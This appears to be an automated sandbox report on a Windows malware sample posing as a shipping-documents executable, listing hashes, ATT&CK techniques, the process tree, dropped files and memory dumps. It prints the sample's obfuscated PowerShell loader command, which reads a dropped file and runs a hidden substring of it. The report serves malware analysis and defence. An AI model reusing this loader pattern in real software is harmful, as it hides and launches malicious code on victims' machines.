9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692

General

Target

Shipping documents 000309498585956000797900.exe
Size

1.0MB
MD5

94c700b33fb2a1aa2bd02f13750cca75
SHA1

abe3abd4f60778dfa694a8fc54b9d1037a248132
SHA256

9f40759902174555ab1294eb92ae2d17ad2698d2e0e68694edbb9684bdab7692
SHA512

b1962793a313490385ce265763a05585abf1793336ffbbb853fc64b6807e35ec98b28daebe147f98bb901a804ce88bc930c33b7938f31b51b9c9a0c258decc5a
SSDEEP

12288:5faWYFsj2FYoIAyPn4/SLfP2Udh1rtZJi3l/zSL6WKuwpbt+jBL/nepC:ldeXi4/42Up5KV/zSOWlabAjNnKC

Score

7^/10

Malware Config

Signatures

Loads dropped DLL 1 IoCs

pid	Process
2020	Shipping documents 000309498585956000797900.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2364	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	Shipping documents 000309498585956000797900.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2020	Shipping documents 000309498585956000797900.exe

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe
2364	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 2020 wrote to memory of 2364	2020	Shipping documents 000309498585956000797900.exe	89
PID 2020 wrote to memory of 2364	2020	Shipping documents 000309498585956000797900.exe	89
PID 2020 wrote to memory of 2364	2020	Shipping documents 000309498585956000797900.exe	89

C:\Users\Admin\AppData\Local\Temp\Shipping documents 000309498585956000797900.exe
"C:\Users\Admin\AppData\Local\Temp\Shipping documents 000309498585956000797900.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
- Suspicious use of WriteProcessMemory
PID:2020
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle minimized "$Mahjongg=Get-Content 'C:\Users\Admin\AppData\Roaming\chondriosome\retskrivningssystemer\Laccolitic51.Suk151';$Chefen128=$Mahjongg.SubString(11975,3);.$Chefen128($Mahjongg)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2364

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --field-trial-handle=4404,i,1330210614411927383,9239043499051775691,262144 --variations-seed-version --mojo-platform-channel-handle=1320 /prefetch:8
1⤵
PID:2912

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

System Location Discovery

1

T1614

System Language Discovery

1

T1614.001

System Network Configuration Discovery

1

T1016

Internet Connection Discovery

1

T1016.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2fgcnvay.ev1.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\nsa126B.tmp\nsExec.dll

Filesize
7KB

MD5
5d63878da0cda0b331e80e43e3d3c2fa

SHA1
749b02a5bceb2d1f8a912dfaf40fe8c3b082bf58

SHA256
21eb98aa735fc4b4072e670a78f1e5802b3d3c950bef72e32f573dd514ac7f18

SHA512
240ccbd96bbf5d4608778b91ab14b73b20771fff3763e8df04a9df83f5371d4ada64b5b6cc262626927ee1c13fc0d98bfaaa0332786c0af588a4c24924575ed1

Download Submit
C:\Users\Admin\AppData\Roaming\chondriosome\retskrivningssystemer\Laccolitic51.Suk151

Filesize
72KB

MD5
e2df89f3afdd3b0ca4cbef2b70903b01

SHA1
2291a0ed4a9a2c5df3138f42bbe3d72a441461a8

SHA256
eb337ed184f884c1dec3c08c74fdaf9e513ca7086bd7ccceaf3511829ca54e81

SHA512
0c18fe4ca7ac53e3d0b63d43064d8e3e25a055325042b4f1038bece4a7b7717febf08a0f97d10d3234a5e4a5caef239387c66690c3be522e68f4888702055bd6

Download Submit
memory/2364-30-0x00000000067F0000-0x000000000680E000-memory.dmp

Filesize
120KB

Download
memory/2364-32-0x00000000077A0000-0x0000000007836000-memory.dmp

Filesize
600KB

Download
memory/2364-17-0x0000000005810000-0x0000000005832000-memory.dmp

Filesize
136KB

Download
memory/2364-18-0x0000000006060000-0x00000000060C6000-memory.dmp

Filesize
408KB

Download
memory/2364-16-0x00000000059C0000-0x0000000005FE8000-memory.dmp

Filesize
6.2MB

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memory/2364-19-0x0000000006180000-0x00000000061E6000-memory.dmp

Filesize
408KB

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memory/2364-29-0x00000000061F0000-0x0000000006544000-memory.dmp

Filesize
3.3MB

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memory/2364-14-0x0000000003210000-0x0000000003246000-memory.dmp

Filesize
216KB

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memory/2364-31-0x0000000006830000-0x000000000687C000-memory.dmp

Filesize
304KB

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memory/2364-15-0x0000000073AB0000-0x0000000074260000-memory.dmp

Filesize
7.7MB

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memory/2364-33-0x0000000006D10000-0x0000000006D2A000-memory.dmp

Filesize
104KB

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memory/2364-34-0x0000000006D80000-0x0000000006DA2000-memory.dmp

Filesize
136KB

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memory/2364-35-0x0000000007E40000-0x00000000083E4000-memory.dmp

Filesize
5.6MB

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memory/2364-13-0x0000000073ABE000-0x0000000073ABF000-memory.dmp

Filesize
4KB

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memory/2364-37-0x0000000008A70000-0x00000000090EA000-memory.dmp

Filesize
6.5MB

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memory/2364-39-0x0000000073ABE000-0x0000000073ABF000-memory.dmp

Filesize
4KB

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memory/2364-40-0x0000000073AB0000-0x0000000074260000-memory.dmp

Filesize
7.7MB

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Analysis

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